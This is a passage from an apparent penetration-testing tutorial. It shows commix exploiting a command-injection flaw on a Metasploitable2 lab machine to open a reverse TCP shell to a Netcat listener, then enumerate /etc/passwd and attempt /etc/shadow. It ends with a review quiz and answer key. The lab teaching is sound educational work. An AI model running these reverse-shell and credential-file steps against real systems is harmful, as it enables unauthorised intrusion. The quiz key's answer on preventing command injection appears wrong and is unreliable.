    POST parameter 'ip' is vulnerable. Do you want to prompt for a pseudo-terminal shell? [Y/n] >
    Pseudo-Terminal Shell (type '?' for available options)
    commix(os_shell) >
  3. Type ? to see the os_shell options:
    commix(os_shell) > ?
    Available 'os_shell' options:
    * Type '?' to get all the available options.
    * Type 'back' to move back from the current context.
    * Type 'quit' / 'exit' (or use <Ctrl-C>) to quit commix.
    * Type 'reverse_tcp' to get a reverse TCP connection.
    * Type 'bind_tcp' to set a bind TCP connection.
    commix(os_shell) >
  4. Type reverse_tcp, and then type ? to see the options:
    commix(os_shell) > reverse_tcp
    commix(reverse_tcp) > ?
    Available 'reverse_tcp' options:
    * Type '?' to get all the available options.
    * Type 'set' to set a context-specific variable to a value.
    * Type 'back' to move back from the current context.
    * Type 'quit' / 'exit' (or use <Ctrl-C>) to quit commix.
    * Type 'os_shell' to get into an operating system command shell.
    * Type 'bind_tcp' to set a bind TCP connection.
    commix(reverse_tcp)
  5. In a second terminal window of your Kali machine, start a Netcat listener, like so:
    ┌──(kali㉿kali)-[~]
    └─$ nc -nvlp 1234
    listening on [any] 1234 …
  6. In the commix window, set the IP address of your Kali machine, and then set the port number for the Netcat listener, like this:
    commix(reverse_tcp) > set LHOST 192.168.56.101
    LHOST => 192.168.56.101
    commix(reverse_tcp) > set LPORT 1234
    LPORT => 1234
  7. For the next few prompts, choose the default Netcat listener for your Kali machine. For the final prompt about using the /bin/ subdirectory, hit the y key:
    Available reverse TCP shell options:
    * Type '1' for netcat reverse TCP shells.
    * Type '2' for other reverse TCP shells.
    commix(reverse_tcp) > 1
    Available netcat reverse TCP shell options:
    * Type '1' to use the default Netcat on target host.
    * Type '2' to use Netcat for Busybox on target host.
    * Type '3' to use Netcat-Traditional on target host.
    * Type '4' to use Netcat-Openbsd on target host.
    commix(reverse_tcp_netcat) > 1
    Do you want to use '/bin' standard subdirectory? [y/N] > y
    [16:22:45] [info] Sending payload to target, for reverse TCP connection on 192.168.56.101:1234.
  8. In the other terminal window, you should now see something like this:
    connect to [192.168.56.101] from (UNKNOWN) [192.168.56.102] 48469

This indicates that a connection has been made.

  1. Type in some non-root commands to verify that everything works:
    ls
    help
    index.php
    source
    id
    uid=33(www-data) gid=33(www-data) groups=33(www-data)
    w
    16:31:40 up 3:32, 2 users, load average: 0.02, 0.01, 0.00
    USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
    msfadmin tty1 - 13:00 1:40 0.09s 0.07s -bash
    root pts/0 :0.0 13:00 3:31 0.00s 0.00s -bash

Congratulations! You’ve just gained access to the Metasploitable2 machine.

  1. As an added bonus, let’s run the commix command again, except that this time we’ll append the --all option. This option will automatically show you the target machine’s hostname, the current user, whether the current user has excessive privileges, and operating system information. It will then print out the list of users from the /etc/passwd file, and—if the current user has root privileges—it will print out the list of password information from the /etc/shadow file. The new command should look something like this:
    ┌──(kali㉿kali)-[~]
    └─$ commix -u "http://192.168.56.102/dvwa/vulnerabilities/exec/" --data="ip=192.168.56.101&submit=submit" --cookie="security=low; PHPSESSID=19f62627e83597c9d1971526845bd37f" –all

The output should look something like this:

[16:35:08] [info] Testing connection to the target URL.
[16:35:14] [info] Checking if the target is protected by some kind of WAF/IPS.
[16:35:21] [info] Performing identification (passive) tests to the target URL.
[16:35:23] [warning] Target's estimated response time is 2 seconds. That may cause delays during the data extraction procedure.
[16:35:23] [info] Fetching hostname.
[16:35:29] [info] Hostname: metasploitable
[16:35:29] [info] Fetching current user.
[16:35:35] [info] Current user: www-data
[16:35:35] [info] Testing if current user has excessive privileges.
[16:35:42] [info] Current user has excessive privileges: False
[16:35:42] [info] Fetching the underlying operating system information.
[16:36:01] [info] Operating system: Linux Ubuntu 8.04 i686
[16:36:01] [info] Fetching content of the file '/etc/passwd' in order to enumerate operating system users.
[16:36:08] [info] Identified operating system users [36]:
|_ (1) 'root' is root user (uid=0). Home directory is in '/root'.
|_ (2) 'daemon' is system user (uid=1). Home directory is in '/usr/sbin'.
. . .
. . .
|_ (35) 'proftpd' is regular user (uid=113). Home directory is in '/var/run/proftpd'.
|_ (36) 'statd' is regular user (uid=114). Home directory is in '/var/lib/nfs'.
[16:36:08] [info] Fetching content of the file '/etc/shadow' in order to enumerate operating system users password hashes.
[16:36:14] [warning] It seems that you don't have permissions to read the content of the file '/etc/shadow'.

Cool stuff, am I right?

Scanning for blind injection vulnerabilities

Section titled “Scanning for blind injection vulnerabilities”

The example we just looked at involves a results-based command injection vulnerability. This means that you can exploit the vulnerability from a data entry form of the website, as I showed you at the beginning of this section, and you’ll be able to see the output. Unfortunately, it appears that there are no blind vulnerabilities in Metasploitable2, which limits the types of demos that I can present here. However, I can still tell you that when you run commix, it will begin by scanning for results-based vulnerabilities. If it doesn’t find any, it will automatically begin scanning for blind vulnerabilities. So, you don’t need to do anything special for them.

A word of caution!

Certain types of tests for blind vulnerabilities involve creating lots of files in the /tmp/ directory of the target machine. If the target machine is something like an Internet of Things (IoT) device with limited storage space, a commix scan could fill up the device’s / partition, which would cause the operating system to crash. So, use extra care when scanning low-resource devices.

Also, be aware that commix is a fairly noisy scanner. Commix scans could be detected by either an alert administrator or an intrusion detection system.

Alrighty, I think that this about wraps things up for this chapter. Let’s summarize, and then move on to the next chapter.

We covered a lot of ground in this chapter, and saw some pretty cool stuff. First, we looked at using the Nikto utility to scan websites for vulnerabilities. We then moved on to dirb, which we used to search websites for directories and files that aren’t properly secured, and that could leak sensitive information. After that, I showed you a bash script that can automatically download files from directories that haven’t been properly secured, and another bash script that can automatically download and evaluate robots.txt files. Finally, we got into the fun stuff by using SQLMap and Commix to hack into a couple of the Metasploitable2 apps.

In the next chapter, we’ll look at techniques for cracking passwords. I’ll see you there.

  1. What is the best way to install Nikto on your Kali Linux machine?
    1. Just use the Nikto that’s already installed. 2. Install it from the Kali Linux repository. 3. Compile it from source code. 4. Clone it from the authors’ GitHub repository, and then periodically do a git pull command to keep it updated.
  2. Which of the following statements is true about eval functions?
    1. You’ll only find them in certain programming languages, and they’re perfectly safe to use. 2. You’ll find them in many programming languages, and they can allow command injection attacks if they’re not used properly. 3. You’ll find them in many programming languages, and they’re perfectly safe to use. 4. There’s no such thing as an eval function.
  3. Which of the following statements is true about performing Nikto scans?
    1. You’ll need to perform separate scans of the lower-level website pages in order to get complete results. 2. You can get all of the information you need by just scanning the top level of the website. 3. Nikto is very stealthy, so you can use it without fear of alerting the website owners. 4. Nikto is written in the Perl scripting language, which is very memory-efficient.
  4. What is a potential security implication with robots.txt files?
    1. There are none, because using a robots.txt file is always perfectly safe. 2. They make the site more secure, by preventing bots from crawling through pages with sensitive information. 3. They can help malicious hackers, by providing them with information about website pages that might contain sensitive information. 4. They make the site more secure, by preventing malicious hackers from being able to access pages with sensitive information.
  5. What’s one way to prevent command injection attacks?
    1. There’s no way to prevent them. 2. Include application code that will only allow valid user input. 3. Include application code that will block the characters that are used for command injection. 4. Include application code that converts bad input to good input.
  6. Which two of the following are recommended ways to prevent leakage of sensitive data from a database? (Choose two.)
    1. Hash the database password with either the bcrypt or Argon2 hashing algorithm. 2. Encrypt the data in the database with the Blowfish algorithm. 3. Hash the database password with the SHA1 hashing algorithm. 4. Hash the database password with either the SHA384 or SHA512 algorithm. 5. Encrypt the data in the database with the DES algorithm. 6. Encrypt the data in the database with the AES256 algorithm.
  1. d
  2. b
  3. a
  4. c
  5. d
  6. d and f